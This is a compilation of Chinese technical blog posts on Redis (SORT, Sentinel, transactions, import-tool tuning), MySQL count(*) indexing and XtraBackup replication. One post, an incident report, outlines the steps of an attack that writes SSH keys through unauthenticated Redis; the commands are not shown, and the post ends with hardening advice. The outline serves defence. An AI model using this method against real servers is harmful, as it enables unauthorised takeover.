在这里，price_*中的*是一个占位符，先会把gid的值取出，代入到*中，再去查找price_*的值。例如在本例中，price_*中的*会分别被1,2,3,4代替，然后去取price_1,price_2,price_3,price_4的值来进行排序。

跳过排序(不进行排序)

BY描述符也可以使用一个根本不存在的key来作为排序规则，则直接导致的结果就是不进行任何排序。 这看上去似乎没什么用，但是如果你想要取得外部的keys时，跳过排序就非常有用了，这也会减少性能损耗。

要理解不排序的好处，首先要先了解一下GET描述符。
使用GET描述符，可以根据排序结果取出外部键值。例如以下命令：

127.0.0.1:6379> sort gid get price_*
1) "20"
2) "40"
3) "30"
4) "10"

先对gid排序，然后再分别取出price_{gid}的值。

也可以使用多个GET，获取多个外部key的值，例如：

127.0.0.1:6379> sort gid get price_* get weight_*
1) "20" # 这是price
2) "3"  # 这是weight，以下类推
3) "40"
4) "2"
5) "30"
6) "4"
7) "10"
8) "1"

get也可以使用#来获取被排序的key的值，例如：

127.0.0.1:6379> sort gid get # get price_*
1) "1"  #这里取出的就是gid
2) "20" #这里是price，以下类推
3) "2"
4) "40"
5) "3"
6) "30"
7) "4"
8) "10"

通过结合不排序和GET，能够在不排序的情况下，一次取得多个key的值。例如：

127.0.0.1:6379> sort gid by no-existed get # get price_* get weight_*
 1) "4"   #这是gid
 2) "10"  #这是price
 3) "1"   #这是weight，以下类推
 4) "3"
 5) "30"
 6) "4"
 7) "2"
 8) "40"
 9) "2"
10) "1"
11) "20"
12) "3"

将排序结果保存在Redis中

默认情况下，排序结果会返回给客户端。使用STORE描述符，可以将结果存储在指定key上，如果Key已经存在，则覆盖。而不将排序结果返回给客户端。用法如下：

SORT mylist BY weight_* STORE resultkey

下面举一个例子：

127.0.0.1:6379> rpush num 1 3 5
(integer) 3
127.0.0.1:6379> rpush num 2 4 6
(integer) 6
127.0.0.1:6379> lrange num 0 -1
1) "1"
2) "3"
3) "5"
4) "2"
5) "4"
6) "6"
127.0.0.1:6379> sort num store num_sorted
(integer) 6
127.0.0.1:6379> lrange num_sorted 0 -1
1) "1"
2) "2"
3) "3"
4) "4"
5) "5"
6) "6"

将哈希表作为GET或BY的参数

可以将哈希表的字段作为GET或者BY的参数，用法如下：

SORT mylist BY weight_*->fieldname GET object_*->fieldname

对于前面所用到的例子：


我们可以不把price_{gid}和weight_{id}用string类型来保存，而是对于每一个gid，创建一个包含price和weight字段的hash表good_info_{gid}来存储商品信息。

127.0.0.1:6379> hmset good_info_1 price 20 weight 3
OK
127.0.0.1:6379> hmset good_info_2 price 40 weight 2
OK
127.0.0.1:6379> hmset good_info_3 price 30 weight 4
OK
127.0.0.1:6379> hmset good_info_4 price 10 weight 1
OK

之后， by 和 get 选项都可以用 key->field 的格式来获取哈希表中的域的值， 其中 key 表示哈希表键， 而 field 则表示哈希表的域：

127.0.0.1:6379> sort gid by good_info_*->price
1) "4"
2) "1"
3) "3"
4) "2"
127.0.0.1:6379> sort gid by good_info_*->price get good_info_*->weight
1) "1"
2) "3"
3) "4"
4) "2"

返回值

如果没有使用 store 描述符，返回列表形式的排序结果。
如果使用 store 参数，返回排序结果的元素数量。

参考资料

Redis官网SORT命令介绍
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本文参考翻译自《Redis Sentinel Documentation》



续前篇《Redis Sentinel机制与用法（一）》

概述

Redis-Sentinel是Redis官方推荐的高可用性(HA)解决方案，当用Redis做Master-slave的高可用方案时，假如master宕机了，Redis本身(包括它的很多客户端)都没有实现自动进行主备切换，而Redis-sentinel本身也是一个独立运行的进程，它能监控多个master-slave集群，发现master宕机后能进行自懂切换。

它的主要功能有以下几点


	不时地监控redis是否按照预期良好地运行;


	如果发现某个redis节点运行出现状况，能够通知另外一个进程(例如它的客户端);


	能够进行自动切换。当一个master节点不可用时，能够选举出master的多个slave(如果有超过一个slave的话)中的一个来作为新的master,其它的slave节点会将它所追随的master的地址改为被提升为master的slave的新地址。
<br/>




无failover时的配置纠正

即使当前没有failover正在进行，sentinel依然会使用当前配置去设置监控的master。特别是：


	根据最新配置确认为slaves的节点却声称自己是master(参考上文例子中被网络隔离后的的redis3)，这时它们会被重新配置为当前master的slave。


	如果slaves连接了一个错误的master，将会被改正过来，连接到正确的master。




Slave选举与优先级

当一个sentinel准备好了要进行failover，并且收到了其他sentinel的授权，那么就需要选举出一个合适的slave来做为新的master。

slave的选举主要会评估slave的以下几个方面：


	与master断开连接的次数


	Slave的优先级


	数据复制的下标(用来评估slave当前拥有多少master的数据)


	进程ID




如果一个slave与master失去联系超过10次，并且每次都超过了配置的最大失联时间(down-after-milliseconds option)，并且，如果sentinel在进行failover时发现slave失联，那么这个slave就会被sentinel认为不适合用来做新master的。

更严格的定义是，如果一个slave持续断开连接的时间超过

(down-after-milliseconds * 10) + milliseconds_since_master_is_in_SDOWN_state

就会被认为失去选举资格。
符合上述条件的slave才会被列入master候选人列表，并根据以下顺序来进行排序：


	sentinel首先会根据slaves的优先级来进行排序，优先级越小排名越靠前（？）。


	如果优先级相同，则查看复制的下标，哪个从master接收的复制数据多，哪个就靠前。


	如果优先级和下标都相同，就选择进程ID较小的那个。




一个redis无论是master还是slave，都必须在配置中指定一个slave优先级。要注意到master也是有可能通过failover变成slave的。

如果一个redis的slave优先级配置为0，那么它将永远不会被选为master。但是它依然会从master哪里复制数据。

Sentinel和Redis身份验证

当一个master配置为需要密码才能连接时，客户端和slave在连接时都需要提供密码。

master通过requirepass设置自身的密码，不提供密码无法连接到这个master。
slave通过masterauth来设置访问master时的密码。

但是当使用了sentinel时，由于一个master可能会变成一个slave，一个slave也可能会变成master，所以需要同时设置上述两个配置项。

Sentinel API

Sentinel默认运行在26379端口上，sentinel支持redis协议，所以可以使用redis-cli客户端或者其他可用的客户端来与sentinel通信。

有两种方式能够与sentinel通信：


	一种是直接使用客户端向它发消息


	另外一种是使用发布/订阅模式来订阅sentinel事件，比如说failover，或者某个redis实例运行出错，等等。




Sentinel命令

sentinel支持的合法命令如下：


	PING sentinel回复PONG.


	SENTINEL masters 显示被监控的所有master以及它们的状态.


	SENTINEL master <master name> 显示指定master的信息和状态；


	SENTINEL slaves <master name> 显示指定master的所有slave以及它们的状态；


	SENTINEL get-master-addr-by-name <master name> 返回指定master的ip和端口，如果正在进行failover或者failover已经完成，将会显示被提升为master的slave的ip和端口。


	SENTINEL reset <pattern> 重置名字匹配该正则表达式的所有的master的状态信息，清楚其之前的状态信息，以及slaves信息。


	SENTINEL failover <master name> 强制sentinel执行failover，并且不需要得到其他sentinel的同意。但是failover后会将最新的配置发送给其他sentinel。




动态修改Sentinel配置

从redis2.8.4开始，sentinel提供了一组API用来添加，删除，修改master的配置。

需要注意的是，如果你通过API修改了一个sentinel的配置，sentinel不会把修改的配置告诉其他sentinel。你需要自己手动地对多个sentinel发送修改配置的命令。



以下是一些修改sentinel配置的命令：


	SENTINEL MONITOR <name> <ip> <port> <quorum>  这个命令告诉sentinel去监听一个新的master


	SENTINEL REMOVE <name> 命令sentinel放弃对某个master的监听


	SENTINEL SET <name> <option> <value> 这个命令很像Redis的CONFIG SET命令，用来改变指定master的配置。支持多个<option><value>。例如以下实例：


	SENTINEL SET objects-cache-master down-after-milliseconds 1000




只要是配置文件中存在的配置项，都可以用SENTINEL SET命令来设置。这个还可以用来设置master的属性，比如说quorum(票数)，而不需要先删除master，再重新添加master。例如：

SENTINEL SET objects-cache-master quorum 5

增加或删除Sentinel

由于有sentinel自动发现机制，所以添加一个sentinel到你的集群中非常容易，你所需要做的只是监控到某个Master上，然后新添加的sentinel就能获得其他sentinel的信息以及masterd所有的slave。

如果你需要添加多个sentinel，建议你一个接着一个添加，这样可以预防网络隔离带来的问题。你可以每个30秒添加一个sentinel。最后你可以用SENTINEL MASTER mastername来检查一下是否所有的sentinel都已经监控到了master。

删除一个sentinel显得有点复杂：因为sentinel永远不会删除一个已经存在过的sentinel，即使它已经与组织失去联系很久了。
要想删除一个sentinel，应该遵循如下步骤：


	停止所要删除的sentinel


	发送一个SENTINEL RESET * 命令给所有其它的sentinel实例，如果你想要重置指定master上面的sentinel，只需要把*号改为特定的名字，注意，需要一个接一个发，每次发送的间隔不低于30秒。


	检查一下所有的sentinels是否都有一致的当前sentinel数。使用SENTINEL MASTER mastername 来查询。




删除旧master或者不可达slave

sentinel永远会记录好一个Master的slaves，即使slave已经与组织失联好久了。这是很有用的，因为sentinel集群必须有能力把一个恢复可用的slave进行重新配置。

并且，failover后，失效的master将会被标记为新master的一个slave，这样的话，当它变得可用时，就会从新master上复制数据。

然后，有时候你想要永久地删除掉一个slave(有可能它曾经是个master)，你只需要发送一个SENTINEL RESET master命令给所有的sentinels，它们将会更新列表里能够正确地复制master数据的slave。

发布/订阅

客户端可以向一个sentinel发送订阅某个频道的事件的命令，当有特定的事件发生时，sentinel会通知所有订阅的客户端。需要注意的是客户端只能订阅，不能发布。

订阅频道的名字与事件的名字一致。例如，频道名为sdown 将会发布所有与SDOWN相关的消息给订阅者。

如果想要订阅所有消息，只需简单地使用PSUBSCRIBE * 

以下是所有你可以收到的消息的消息格式，如果你订阅了所有消息的话。第一个单词是频道的名字，其它是数据的格式。

注意：以下的instance details的格式是：

<instance-type> <name> <ip> <port> @ <master-name> <master-ip> <master-port>

如果这个redis实例是一个master，那么@之后的消息就不会显示。

    +reset-master <instance details> -- 当master被重置时.
    +slave <instance details> -- 当检测到一个slave并添加进slave列表时.
    +failover-state-reconf-slaves <instance details> -- Failover状态变为reconf-slaves状态时
    +failover-detected <instance details> -- 当failover发生时
    +slave-reconf-sent <instance details> -- sentinel发送SLAVEOF命令把它重新配置时
    +slave-reconf-inprog <instance details> -- slave被重新配置为另外一个master的slave，但数据复制还未发生时。
    +slave-reconf-done <instance details> -- slave被重新配置为另外一个master的slave并且数据复制已经与master同步时。
    -dup-sentinel <instance details> -- 删除指定master上的冗余sentinel时 (当一个sentinel重新启动时，可能会发生这个事件).
    +sentinel <instance details> -- 当master增加了一个sentinel时。
    +sdown <instance details> -- 进入SDOWN状态时;
    -sdown <instance details> -- 离开SDOWN状态时。
    +odown <instance details> -- 进入ODOWN状态时。
    -odown <instance details> -- 离开ODOWN状态时。
    +new-epoch <instance details> -- 当前配置版本被更新时。
    +try-failover <instance details> -- 达到failover条件，正等待其他sentinel的选举。
    +elected-leader <instance details> -- 被选举为去执行failover的时候。
    +failover-state-select-slave <instance details> -- 开始要选择一个slave当选新master时。
    no-good-slave <instance details> -- 没有合适的slave来担当新master
    selected-slave <instance details> -- 找到了一个适合的slave来担当新master
    failover-state-send-slaveof-noone <instance details> -- 当把选择为新master的slave的身份进行切换的时候。
    failover-end-for-timeout <instance details> -- failover由于超时而失败时。
    failover-end <instance details> -- failover成功完成时。
    switch-master <master name> <oldip> <oldport> <newip> <newport> -- 当master的地址发生变化时。通常这是客户端最感兴趣的消息了。
    +tilt -- 进入Tilt模式。
    -tilt -- 退出Tilt模式。

TILT 模式

redis sentinel非常依赖系统时间，例如它会使用系统时间来判断一个PING回复用了多久的时间。
然而，假如系统时间被修改了，或者是系统十分繁忙，或者是进程堵塞了，sentinel可能会出现运行不正常的情况。
当系统的稳定性下降时，TILT模式是sentinel可以进入的一种的保护模式。当进入TILT模式时，sentinel会继续监控工作，但是它不会有任何其他动作，它也不会去回应is-master-down-by-addr这样的命令了，因为它在TILT模式下，检测失效节点的能力已经变得让人不可信任了。
如果系统恢复正常，持续30秒钟，sentinel就会退出TITL模式。

-BUSY状态

注意：该功能还未实现。



当一个脚本的运行时间超过配置的运行时间时，sentinel会返回一个-BUSY 错误信号。如果这件事发生在触发一个failover之前，sentinel将会发送一个SCRIPT KILL命令，如果script是只读的话，就能成功执行。
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Redis数据导入工具优化过程总结


背景


使用C++开发了一个Redis数据导入工具

从oracle中将所有表数据导入到redis中；

不是单纯的数据导入，每条oracle中的原有记录，需要经过业务逻辑处理，

并添加索引（redis集合）；

工具完成后，性能是个瓶颈；


优化效果


使用了2个样本数据测试：

样本数据a表8763 条记录；

b表940279 条记录；


优化前，a表耗时11.417s；

优化后，a表耗时1.883s；


用到的工具


gprof, pstrace,time


使用time工具查看每次执行的耗时，分别包含用户时间和系统时间；

使用pstrace打印实时运行，查询进程主要的系统调用，发现耗时点；

使用gprof统计程序的耗时汇总，集中精力优化最耗时的地方；

使用简介：

1.对g++的所有编辑和连接选项都必须要加上-pg（第一天由于没有在连接处加上-pg选项，导致无法出统计报告）；

2.执行完程序后，本目录会产生gmon.out文件；

3.gprof redistool gmou.out > report,生成可读文件report，打开report集中优化最耗时的函数；


优化过程


优化前11.417s：


time ./redistool im a a.csv
real    0m11.417s
user    0m6.035s
sys     0m4.782s （发现系统调用时间过长）



文件内存映射


系统调用时间过长，主要是文件读写，初步考虑是读取文件时，调用api次数过于频繁；

读取样本采用的是文件fgets一行行的读取，采用文件内存映射mmap后，可直接使用指针操作整个文件内存快；


日志开关提前


改进了文件读写后，发现优化效果比较有限（提高了2s左右）；fgets是C的文件读取库函数，相比系统read()，是带了缓冲区了，应该不会太慢（网上有人测试，文件内存映射相比fgets()能快上一个数量级，感觉场景应该比较特殊）；


之后通过pstrace工具发现log.dat打开次数过多；原来是调试日志的开关写到了后面，导致 调试日志都是会打开日志文件open("log.dat")；

将日志开关提前；改进后，3.53s


time ./redistool im a a.csv
real    0m3.530s
user    0m2.890s
sys     0m0.212s



vector空间预先分配


后续通过gprof分析，某个函数的vector内存分配次数多，并有不少复制次数：

改进以下这行代码：


vector <string> vSegment;



使用静态vector变量，并预先分配内存：


static vector <string> vSegment;
vSegment.clear();
static int nCount = 0;
if( 0 == nCount)
{
    vSegment.reserve(64);
}
++nCount;



优化后，提升至2.286s


real    0m2.286s
user    0m1.601s
sys     0m0.222s



同样，另外一个类中的成员vector也使用预先分配空间（在构造函数中)：


m_vtPipecmd.reserve(256);



优化后，提升至2.166s;


real    0m2.166s
user    0m1.396s
sys     0m0.204s



函数改写 && 内联


继续执行程序，发现SqToolStrSplitByCh()函数消耗过大，改写整个函数逻辑，并将改写后的函数内联：

优化后，提升至1.937s


real    0m1.937s
user    0m1.301s
sys     0m0.186s



去除调试符和优化监测符号


最后，去掉debug和pg调试符号后，最终效果为1.883s；


real    0m1.883s
user    0m1.239s
sys     0m0.191s



满足生产要求


以上最后几步看似毫秒级的提升，扩大到全表数据后，效果就很明显了；

优化后，生产上a表为152w，导入耗时大约326s（~6分钟）；

b表数据420w，导入耗时大约1103s（~18分钟）


推荐支持


如果你觉得本文对你有所帮助，请点击以下【推荐】按钮, 让更多人阅读；
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Redis的事务特性


数据ACID特性满足了几条？

为了保持简单，redis事务保证了其中的一致性和隔离性；

不满足原子性和持久性；


原子性


redis事务在执行的中途遇到错误，不会回滚，而是继续执行后续命令；（违反原子性）


事务可以理解为一个打包的批量执行脚本，但批量指令并非原子化的操作；

中间某条指令的失败不会导致前面已做指令的回滚，也不会造成后续的指令不做；

比如：


redis 127.0.0.1:7000> multi
OK
redis 127.0.0.1:7000> set a aaa
QUEUED
redis 127.0.0.1:7000> set b bbb
QUEUED
redis 127.0.0.1:7000> set c ccc
QUEUED
redis 127.0.0.1:7000> exec
1) OK
2) OK
3) OK`</pre>



如果在set b bbb处失败，set a已成功不会回滚，set c还会继续执行；


持久性


事务不过是用队列包裹起了一组 Redis 命令，并没有提供任何额外的持久性功能，所以事务的持久性由 Redis 所使用的持久化模式决定：



	在单纯的内存模式下，事务肯定是不持久的。

	在 RDB 模式下，服务器可能在事务执行之后、RDB 文件更新之前的这段时间失败，所以 RDB 模式下的 Redis 事务也是不持久的。

	在 AOF 的“总是 SYNC ”模式下，事务的每条命令在执行成功之后，都会立即调用 fsync 或 fdatasync 将事务数据写入到 AOF 文件。但是，这种保存是由后台线程进行的，主线程不会阻塞直到保存成功，所以从命令执行成功到数据保存到硬盘之间，还是有一段非常小的间隔，所以这种模式下的事务也是不持久的。

	其他 AOF 模式也和“总是 SYNC ”模式类似，所以它们都是不持久的。



隔离性和一致性


redis事务在执行的过程中，不会处理其它命令，而是等所有命令都执行完后，再处理其它命令（满足隔离性）

redis事务在执行过程中发生错误或进程被终结，都能保证数据的一致性；（详见参考资料1)


redis事务的缺陷


除了不保证原子性和持久性，在实际使用中还有以下问题:


1） 遇到有查询的情况穿插在事务中间，不会返回结果；


设置事务开始标志后，所有的命令都是queued，即使是查询指令；


如果后续的更新操作需要依赖于前面的查询指令，那redis事务就无法有效的完成任务；


例如：


<pre class="code">`redis 127.0.0.1:7000> multi
OK
redis 127.0.0.1:7000> set a aaa
QUEUED
redis 127.0.0.1:7000> get b
QUEUED
业务逻辑...
redis 127.0.0.1:7000> set c ccc
QUEUED
redis 127.0.0.1:7000> exec
1) OK
2) bbb
3) OK`</pre>



第二步 get a 返回的是queued，并不是a的查询结果，

如果后续的set操作依赖于get的结果(存在依赖业务逻辑），就不能将get操作放在事务操作中；


2) 事务中的每条命令都与redis服务器进行了一次网络交互；


redis 事务指定开始后，执行一个事务返回的都是queued，那这个入队操作是在客户端实现，还是在服务器端实现的？


查看源码，很容易发现是在服务器端实现；


在Redis.c中有这么一段：


int processCommand(redisClient *c) {

    /* Exec the command */
    if (c->flags & REDIS_MULTI &&
        c->cmd->proc != execCommand && c->cmd->proc != discardCommand &&
        c->cmd->proc != multiCommand && c->cmd->proc != watchCommand)
    {
        queueMultiCommand(c); // 将事务中的命令都放入到队列中，然后返回"QUEUED"
        addReply(c,shared.queued);
    } else {
        if (server.vm_enabled && server.vm_max_threads > 0 &&
            blockClientOnSwappedKeys(c)) return REDIS_ERR;

        //调用该命令函数来处理命令
        call(c);
    }
    return REDIS_OK;
}



这里就涉及到客户端与服务器端的多次交互，明明是需要一次批量执行的n条命令，还需要通过多次网络交互，有些浪费；


更新操作中的查询实现


如果有这样的需求：在事务开始后，中间穿插有查询逻辑；

那么使用redis事务（单库），无法满足这个要求；


可能的解决方案：



	可以考虑使用多个库，读写分离，查询库只用来查询，更新库用来开事务做写操作；

	不再使用redis的事务指令，自己在客户端将待执行的命令批量打包，决定是否回滚还是全部执行；这样可以在更新的间隙执行查询逻辑；而不需要将查询逻辑提前到事务指令multi之前；

	
将查询业务逻辑提前；严格规范代码编写要求，所有的redis查询逻辑都放在事务之外：


 redis 127.0.0.1:7000> get b
 bbb
 业务逻辑...
 redis 127.0.0.1:7000> multi
 OK
 redis 127.0.0.1:7000> set a aaa
 QUEUED
 redis 127.0.0.1:7000> set c ccc
 QUEUED
 redis 127.0.0.1:7000> exec
 1) OK
 2) OK






优化网络特性


将多个命令打包批量发送到redis服务器执行，减少网络交互，优化性能，可能的解决方案：



	对于所有的get/set操作，可使用现有的mget/mset指令；

	对于各种不同类型的更新操作，可使用lua脚本将命令打包后，发送到服务器端一次执行；



参考


http://redisbook.readthedocs.org/en/latest/feature/transaction.html


Posted by: 大CC | 10MAR,2015

博客：blog.me115.com [订阅]

微博：新浪微博
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11月9日早上10点多我们收到几台客户服务器的安全监控系统告警，发现几台系统公钥文件被篡改，随后进行安全事件分析处理。在分析过程中我们发现了某黑客组织利用redis设计缺陷的攻击痕迹。考虑到攻击方式简单但影响极大，我们对此次安全事件做了进一步分析，发现这是针对全球互联网的全网性入侵事件。如果您的linux服务器上运行的redis没有设置密码，很可能已经受到了此次安全事件影响。结果将导致：redis数据丢失，服务器的ssh公钥被替换。

我们就此次安全事件预警式的针对全球6379端口的redis服务器做了扫描，结果如下图：



如图开放在公网的redis的6379端口的ip总数有63443个。无密码认证的IP有43024个，在总数占比里达到67%。发现遭受到redis crackit事件影响的服务器达到35024，在总数占比中达到55%，在无密码认证的redis数量中占比达到81%左右。

事件描述

很多使用者都是把redis下载到服务器直接运行使用，无ACL，无密码，root运行，且绑定在0.0.0.0:6379，暴露在公网。攻击者在未授权访问 Redis 的情况下通过redis的机制，可以将自己的公钥或者其他恶意程序写入目标服务器中，从而可以直接控制目标服务器。

还原攻击过程

寻找无验证的redis服务：


制作SSH密钥和公钥：


把公钥内容写入foo.txt：


把SSH公钥写入redis：


覆盖系统用户原来的SSH公钥：


通过SSH登入服务器：


修补加固建议


	
环境安全：


	无需外网访问的可以绑定本地回环


	需要对外的增加ACL进行网络访问控制


	可以借用stunnel等工具完成数据加密传输






	给redis设定密码


	创建单独的nologin系统账号给redis服务使用


	
禁用特定命令

rename-command CONFIG ""






 在MySQL的InnoDB存储引擎中count(*)函数的优化

作者：hoohack

来源： 在MySQL的InnoDB存储引擎中count(*)函数的优化



                    
写这篇文章之前已经看过了很多数据库方面的优化内容，大部分都是加索引、使用事务、要什么select什么等等。然而，只是停留在阅读的层面上，很少有实践，因为没有遇到真实的项目，一切都是纸上谈兵。实践是检验真理的唯一标准，于是就想在数据库上测试一些性能优化的方案，比如索引之类的，但是不想使用假的数据，于是就想着能不能抓取网上的一些数据来作分析，后来自己通过PHP抓取了一些数据(爬取数据博文)，抓了大约110W的用户数据之后，当然需要统计一下具体的数量，于是我使用了以下的SQL语句（我使用的存储引擎是InnoDB）：

SELECT COUNT(*) FROM zh_user;

然而，发现需要运行14-20s的时间才能看到结果。


这样的时间开销在真实的环境的用户体验是十分差的，试想一下，打开一个页面还要等接近20s才能看到数据，别说20s，就算是3s也是十分差的，于是便想在这方面做优化。

存储引擎

在MySQL中，日常开发中比较常用的有MyISAM和InnoDB两种存储引擎。两者之间的其中一个区别是使用count(*)函数计算表的具体行数。

因为MyISAM会保存表的具体行数，因此这段代码在MyISAM存储引擎中执行，MyISAM只要简单地读出保存好的行数即可。因此，如果表中没有使用事务之类的操作，这是最好的优化方案。然而，InnoDB存储引擎不会保存表的具体行数，因此，在InnoDB存储引擎中执行这段代码，InnoDB要扫描一遍整个表来计算有多少行。

查询优化命令--Explain

要弄懂查询性能在哪，首先，需要知道导致查询缓慢的瓶颈在哪。explain命令显示的rows是核心的性能指标，rows大，说明mysql需要扫描的行数就多，绝大部分rows大的语句执行一定很快。所以优化语句基本上都是在优化rows。

首先，看看表的结构：


表的当前索引：


再看看Explain的结果：


可以看到，mysql扫描了整个表来执行本次查询。

奇怪的地方

在数据表的设计中，我是添加了唯一索引的，但是后来有一个语句是根据其中一个字段统计数量，当时添加了一个普通的索引，当我再执行了一遍上面的SQL语句，发现只需要0.2-0.3s的时间就能统计出表中的行数。


不禁吓了一跳，误打误撞就发现了优化的方法：在InnoDB中，除了唯一索引之外，在其他字段添加一个普通索引（称为辅助索引）就能够提升count(*)函数的性能。但是这是为什么呢？
加了索引之后的表结构：


当前的索引：


Explain一下：


同样是扫描一样的行数，为什么添加一个普通索引就可以提高这么多的性能？于是便开始查找资料和阅读文档弄懂这个问题。

count(*)函数执行原理

正如在不同的存储引擎中，count()函数的执行是不同的。在MyISAM存储引擎中，count()函数是直接读取数据表保存的行记录数并返回，而在InnoDB存储引擎中，count(*)函数是先从内存中读取表中的数据到内存缓冲区，然后扫描全表获得行记录数的。在使用count函数中加上where条件时，在两个存储引擎中的效果是一样的，都会扫描全表计算某字段有值项的次数。

索引原理

因为是添加了索引之后才得到性能上的提升，于是便想到从索引的角度来探索。

根据官方文档上的定义：索引是帮助MySQL高效获取数据的数据结构。可以得知，索引的本质就是数据结构，添加索引的目的就是为了提高查询的效率。

使用索引的查询可以类比到字典，如果要查”mysql“这个单词，我们首先会定位到m字母，然后在m字母下面的单词中找y字母，以此类推，直到找到mysql这个单词，就能看到它在第几页，然后就去该页获取该单词更多的信息。想象一下，如果没有索引，那你就要在字典里一页一页的翻阅，效率十分低下。使用索引就是通过这样不断地缩小查询的范围来筛选出最终的结果。

那么在数据库也是一样的，但显然在数据库里使用索引要复杂许多。

磁盘存取与预读

一般来说，索引本身也很大，不可能全部存储在内存中，因此索引往往以索引文件的形式存储在磁盘上。那么数据库在构建索引的时候就需要先从磁盘读取数据了，此时就要产生磁盘I/O消耗。而每次的数据读取，都要经历寻道时间、旋转延迟、传输时间三个部分。寻道时间是指磁臂移动到指定磁道所需要的时间，一般在5ms以内；旋转延迟就是磁盘转速；传输时间指的是将数据从磁盘读出并写入到内存的时间，这个时间较短，可以忽略不计。相对于内存存取，I/O存取的消耗要高几个数量级。因此，评价一个数据结构作为索引的优劣最重要的指标就是查找过程中磁盘I/O操作次数的渐进复杂度。换句话说，索引的结构组织要尽量减少查找过程中磁盘I/O的存取次数。

从上面的描述可以得知磁盘I/O是非常高昂的操作，根据操作系统的局部性原理：

当一个数据被用到时，其附近的数据也通常会马上被使用。


计算机操作系统在这方面做了一些优化，当一次I/O时，不光把当前磁盘地址的数据读取到内存缓冲区内，而且把相邻的数据也都读取到内存缓冲区内。这样一来，在读取数据时产生的I/O就少了很多了。因为在数据库中，每一次I/O读取的数据我们称之为一页(page)，一般为4k或8k，也就是说，我们读取一页内的数据时，实际上才发生了一次I/O。

根据以上的描述，我们可以初步得出结论，增加索引前后的性能差距体现在磁盘读取过程。但是在添加新的索引之前，我是添加了一个唯一索引的，后来发现在mysql中，我添加的唯一索引被称为聚簇索引，而后面添加的索引称为辅助索引，因此，让我们再来看看聚簇索引和辅助索引的区别。

聚簇索引(clustered index)和辅助索引(secondary index)

聚簇索引(clustered index)

每一个InnoDB存储引擎下的表都有一个特殊的索引用来保存每一行的数据，称为聚簇索引。通常情况下，聚簇索引是主键的同义词。

这里讲到，在InnoDB中，mysql是这样选择聚簇索引的：


	如果表中定义了PRIMARY KEY，那么InnoDB就会使用它作为聚簇索引；


	否则，如果没有定义PRIMARY KEY，InnoDB会选择第一个有NOT NULL约束的唯一索引作为PRIMARY KEY，然后InnoDB会使用它作为聚簇索引；


	如果表中没有定义PRIMARY KEY或者合适的唯一索引。InnoDB内部会在含有行ID值的合成列生成隐藏的聚簇索引。这些行使用InnoDB赋予这些表的ID进行排序。行ID是6个字节的字段，且作为新行单一地自增。因此，根据行ID排序的行数据在物理上是根据插入的顺序进行排序。






聚簇索引如何加速查询

因为所有的行数据都跟聚簇索引存放在同一个地方，因此，通过聚簇索引访问数据行会更快。如果表十分大，跟使用不同地方保存数据和索引的存储组织来说，聚簇索引的结构会节省很多的I/O操作。（比如说，MyISAM使用了一个文件来保存数据以及另一个文件保存索引记录）。

辅助索引(secondary index)

除了聚簇索引之外的所有索引都被称为辅助索引。在InnoDB里，辅助索引的每一行记录都包含每一行的主键列，辅助索引指向主键。InnoDB使用这个主键来查找在聚簇索引中的行。如果主键很长，辅助索引会使用更多的空间，因此辅助索引有利于存储引擎拥有长度更短的主键。

结论

在第一次使用了唯一索引(u_id)的时候，InnoDB使用了唯一索引作为表的聚簇索引。而在InnoDB存储引擎中，count(*)函数是先从磁盘中读取表中的数据到内存缓冲区，然后扫描全表获得行记录数的。因此，使用唯一索引作为聚簇索引的时候，InnoDB需要先读取110W条的数据到数据缓冲区中，这里发生了很多次I/O，因此造成了主要的时间消耗。而添加了辅助索引后，mysql在执行查询时会使用内部的优化机制：即使用辅助索引来统计数量。辅助索引保存的是index的值，此时只需要读取一个字段，I/O减少了，性能就提高了。因此在InnoDB中，如果有统计整张表的数量的需求，可以考虑增加一个辅助索引。


 通过 XtraBackup 实现不停机不锁表搭建主从同步

作者：wdd2007

来源： 通过 XtraBackup 实现不停机不锁表搭建主从同步



                    
简介


Xtrabackup是由 Percona 开发的一个开源软件，可实现对 InnoDB 的数据备份，支持在线热备份（备份时不影响数据读写）。备份时，Xtrabackup 会将 Master 的 binlog 信息记录在 xtrabackup_slave_info 文件中，通过此信息可以方便的搭建主从复制。


XtraBackup 有两个工具：xtrabackup 和 innobackupex：



	xtrabackup 本身只能备份 InnoDB 和 XtraDB ，不能备份 MyISAM；

	innobackupex 本身是 Hot Backup 脚本修改而来，同时可以备份 MyISAM 和 InnoDB，但是备份 MyISAM 需要加读锁。



官网：http://www.percona.com/software/percona-xtrabackup

文档：http://www.percona.com/doc/percona-xtrabackup/2.2/index.html


注：本文服务器环境为 CentOS，其他环境请自行修改实现。


修改主库、从库 MySQL 配置文件


1、Master


vim /etc/my.cnf


datadir=/var/lib/mysql
server-id=1
log-bin=mysql-bin



2、Slave:


vim /etc/my.cnf


server-id=2
datadir=/var/lib/mysql



安装 XtraBackup


1、添加源


yum install http://www.percona.com/downloads/percona-release/redhat/0.1-3/percona-release-0.1-3.noarch.rpm


检查是否添加成功：


yum list | grep percona


如果执行正确，其输出信息通常类似：


percona-release.x86_64                     0.0-1                       installed
...
Percona-Server-client-51.x86_64            5.1.47-rel11.1.51.rhel5     percona
Percona-Server-devel-51.x86_64             5.1.47-rel11.1.51.rhel5     percona
Percona-Server-server-51.x86_64            5.1.47-rel11.1.51.rhel5     percona
Percona-Server-shared-51.x86_64            5.1.47-rel11.1.51.rhel5     percona
Percona-Server-test-51.x86_64              5.1.47-rel11.1.51.rhel5     percona
...
xtrabackup.x86_64                          1.2-22.rhel5                percona



2、安装 xtrabackup


yum install percona-xtrabackup


创建备份


innobackupex --user=DBUSER --password=DBUSERPASS /path/to/BACKUP-DIR/


如果执行正确，其输出信息通常类似：


innobackupex: Backup created in directory '/path/to/BACKUP-DIR/2015-03-03_00-00-09'
innobackupex: MySQL binlog position: filename 'mysql-bin.000003', position 1946
111225 00:00:53  innobackupex: completed OK!



备份时，innobackupex 会调用 xtrabackup 备份 InnoDB 表的数据，并且会复制 MyISAM, MERGE，CSV 和 ARCHIVE 表的表定义文件（.frm 文件）、数据文件。同时还会备份触发器和数据库配置信息相关的文件。这些文件将会保存在指定备份目录中一个以时间戳命名的目录下。


准备备份


一般情况下，在备份完成后，数据尚且不能用于恢复操作，因为备份的数据中可能会包含尚未提交的事务或已经提交但尚未同步至数据文件中的事务。因此，此时数据文件仍处理不一致状态。“准备”的主要作用正是通过回滚未提交的事务及同步已经提交的事务至数据文件也使得数据文件处于一致性状态。


innobackupex --apply-log  /path/to/BACKUP-DIR


如果执行正确，其最后输出的几行信息通常如下：


xtrabackup: starting shutdown with innodb_fast_shutdown = 1
120407  9:01:36  InnoDB: Starting shutdown...
